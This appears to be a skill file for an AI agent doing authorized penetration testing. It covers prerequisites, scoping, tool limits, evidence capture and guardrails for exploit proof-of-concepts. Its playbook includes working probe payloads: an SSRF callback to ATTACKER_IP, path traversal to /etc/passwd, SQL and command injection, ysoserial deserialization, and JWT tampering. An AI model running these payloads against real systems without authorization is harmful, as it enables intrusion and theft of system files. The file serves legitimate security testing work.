exploitation-sandbox

name	exploitation-sandbox
description	Safely develop, verify, and document proof-of-concept exploits and payloads for authorized targets inside isolated Workspace Containers. Use when a Hypothesis is well-founded and the user has explicit authorization to test it, needs a minimal PoC, wants to verify impact, or needs to produce reproducible exploit Evidence for a report.

Exploitation Sandbox

Use this skill to turn a confirmed or likely Hypothesis into a bounded, reproducible proof-of-concept (PoC). Work happens entirely inside a Workspace Container or isolated environment. See GLOSSARY.md for shared term definitions.

This skill requires explicit user authorization before any active testing step. Confirm scope, Target identity, and permitted techniques before writing or running any payload.

Prerequisites

Before starting, confirm all of the following:

• Written or explicit verbal authorization for the Target and technique.
• Scope boundaries: allowed hosts, ports, endpoints, auth state, rate limits, and excluded actions.
• Proof requirements: what constitutes valid impact evidence (screenshot, HTTP response, file read, RCE marker).
• Stop conditions: what to do if unexpected access, data exposure, or instability occurs.
• Isolation: Workspace Container or VM snapshot is prepared and network-restricted where needed.

If any prerequisite is unmet, stop and collect the missing details through a structured user decision. Ask about authorization, exact scope and exclusions, the acceptable proof bar, and what to do if unexpected access, out-of-scope data, or instability occurs. Let the active response-presentation contract choose the concrete UI rather than requiring the user or this procedure to name it.

Quick Start

1. Confirm prerequisites above.
2. Spin up a Workspace Container: docker run --rm -it --network none kalilinux/kali-rolling bash or equivalent. Add --network host only when explicitly needed and authorized.
3. Record environment provenance: tool versions, container image hash, date, and target URL/binary.
4. Reproduce the vulnerable condition with the minimal input that demonstrates the class.
5. Capture Evidence: HTTP response, stdout, screenshot, or file artifact — whichever proves impact at the required level.
6. Write a minimal, clean PoC that another researcher can reproduce.
7. Document the stop condition that was reached and any unexpected behavior observed.

PoC Design Principles

• Minimum necessary impact. Prefer read-only primitives (SSRF to internal metadata, path traversal to /etc/passwd) over destructive or persistent ones unless the scope explicitly requires higher impact.
• No side effects on shared systems. Do not write files, send emails, modify data, or trigger notifications on production systems unless the scope explicitly authorizes it.
• Idempotent. The PoC should be runnable more than once without accumulating state.
• Self-contained. Include all dependencies, environment setup, and expected output inline or in a single script.
• Timestamped. Record the exact moment each request or action was taken so Evidence can be correlated with server logs.
• HTTP client choice. When a PoC or active request would normally use curl, prefer curl_cffi if it is installed in the approved Workspace Container, while preserving the same scoped target, headers, cookies, timeout, redirect behavior, and Evidence capture. Fall back to curl when curl_cffi is unavailable or a shell-native transcript is required.

Established Tool Usage

• Metasploit: use only for lab reproduction or explicitly authorized exploit validation. Pin module name/options, set RHOSTS/TARGETURI narrowly, disable background persistence, capture show options, and stop after the proof bar is met.
• sqlmap / Commix / XSSer: start from a manual signal, scope to one URL and parameter, use conservative flags, set delay/rate limits, and save complete output. Do not dump data, write files, or open shells unless the authorization explicitly says so.
• Burp Intruder / Turbo Intruder: treat high-volume request generation as fuzzing. Require rate limits, payload bounds, and a stop condition.
• Hydra / Patator / hashcat / John: only against provided hashes, lab services, or explicitly authorized accounts. Never run online credential attacks against real users without a durable approval record.
• pwntools / ROPgadget / one_gadget / GDB plugins: default to local challenge binaries or owned labs. Remote exploit attempts need Target, host, port, payload class, runtime, and cleanup scope approval.
• Bettercap / Yersinia / packet injection / MITM tooling: require local lab scope and explicit network ownership. Do not run on shared networks.

Exploit Class Playbooks

SSRF / Internal Access

# Confirm OOB callback first — use a collaborator or local listener, not a real internal IP
nc -lvnp 9999 &
curl -s "https://TARGET/vuln?url=http://ATTACKER_IP:9999/probe" -o /dev/null
# Only pivot to internal addresses after OOB is confirmed and scope allows

Path Traversal / LFI

# Start with a benign file (passwd) before escalating
curl -s "https://TARGET/file?path=../../../../etc/passwd" | head -5

SQL Injection (boolean-blind baseline)

# Confirm boolean difference before using automated tools
curl -s "https://TARGET/item?id=1 AND 1=1--" | wc -c
curl -s "https://TARGET/item?id=1 AND 1=2--" | wc -c
# Use sqlmap only with --level 1 --risk 1 and explicit scope authorization

Command Injection

# Prefer time-based detection before OOB or file-write
curl -s "https://TARGET/ping?host=127.0.0.1;sleep+5" --max-time 10

Deserialization (Java/PHP/.NET)

# Generate payload locally, inspect bytes before sending
# Use ysoserial, phpggc, or equivalent; confirm gadget chain against target version
java -jar ysoserial.jar CommonsCollections6 'id' | xxd | head

IDOR / Broken Object Level Auth

# Switch session cookie/token between two test accounts; never use real user IDs
curl -s -H "Cookie: session=ACCOUNT_B_TOKEN" "https://TARGET/api/account/ACCOUNT_A_ID"

JWT Attacks

# Inspect header and payload first
echo "JWT_TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
echo "JWT_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Try alg:none only if signature validation is the Hypothesis

XSS (stored/reflected baseline)

# Use an inert payload that confirms execution without exfiltrating data
# e.g., alert(document.domain) or a unique visual marker

Capturing Evidence

For every active request or test action:

capture_dir="evidence/exploitation/$(date -u +%Y%m%dT%H%M%SZ)"
mkdir -p "$capture_dir"

curl -sv "https://TARGET/vuln" \
  -d "payload=VALUE" \
  -o "$capture_dir/response.txt" \
  2>"$capture_dir/headers.txt"

sha256sum "$capture_dir/"* >> "$capture_dir/hashes.txt"
printf 'Timestamp: %s\nTarget: %s\nHypothesis: %s\n' \
  "$(date -u +%Y-%m-%dT%H:%M:%SZ)" "TARGET" "HYPOTHESIS_TITLE" \
  > "$capture_dir/provenance.txt"

Record: timestamp, request (method, URL, headers, body), response (status, headers, body excerpt), tool version, and exit code.

Output Shape

Produce a minimal PoC report with:

• Authorization summary: scope, permitted techniques, and authorization source.
• Hypothesis confirmed/refuted: the exact claim that was tested.
• Reproduction steps: numbered, copy-pasteable, with expected output at each step.
• Evidence: paths to captured files with hashes, and a one-paragraph impact description.
• Confidence: confirmed / likely / speculative with rationale.
• Cleanup: any state created during testing and whether it was removed.
• Stop condition reached: what ended the test and whether anything unexpected was observed.

Handoffs

• Return to bug-hunt-planner to prioritize follow-on Hypotheses.
• Use proactive-security-strategy to map lateral targets once a primitive is confirmed.
• Use web-inspection-forensics to enumerate additional surface before escalating.

Guardrails

• Never run payloads outside an isolated Workspace Container or scoped test environment.
• Never target production data, accounts, or infrastructure unless the scope document explicitly authorizes it.
• Never leave persistent access, backdoors, created accounts, or modified data behind.
• Redact real credentials, PII, and internal secrets from all Evidence summaries.
• If you encounter unexpected access to out-of-scope data or systems, stop immediately and report to the user.
• Do not automate high-rate fuzzing or scanning without explicit rate-limit approval.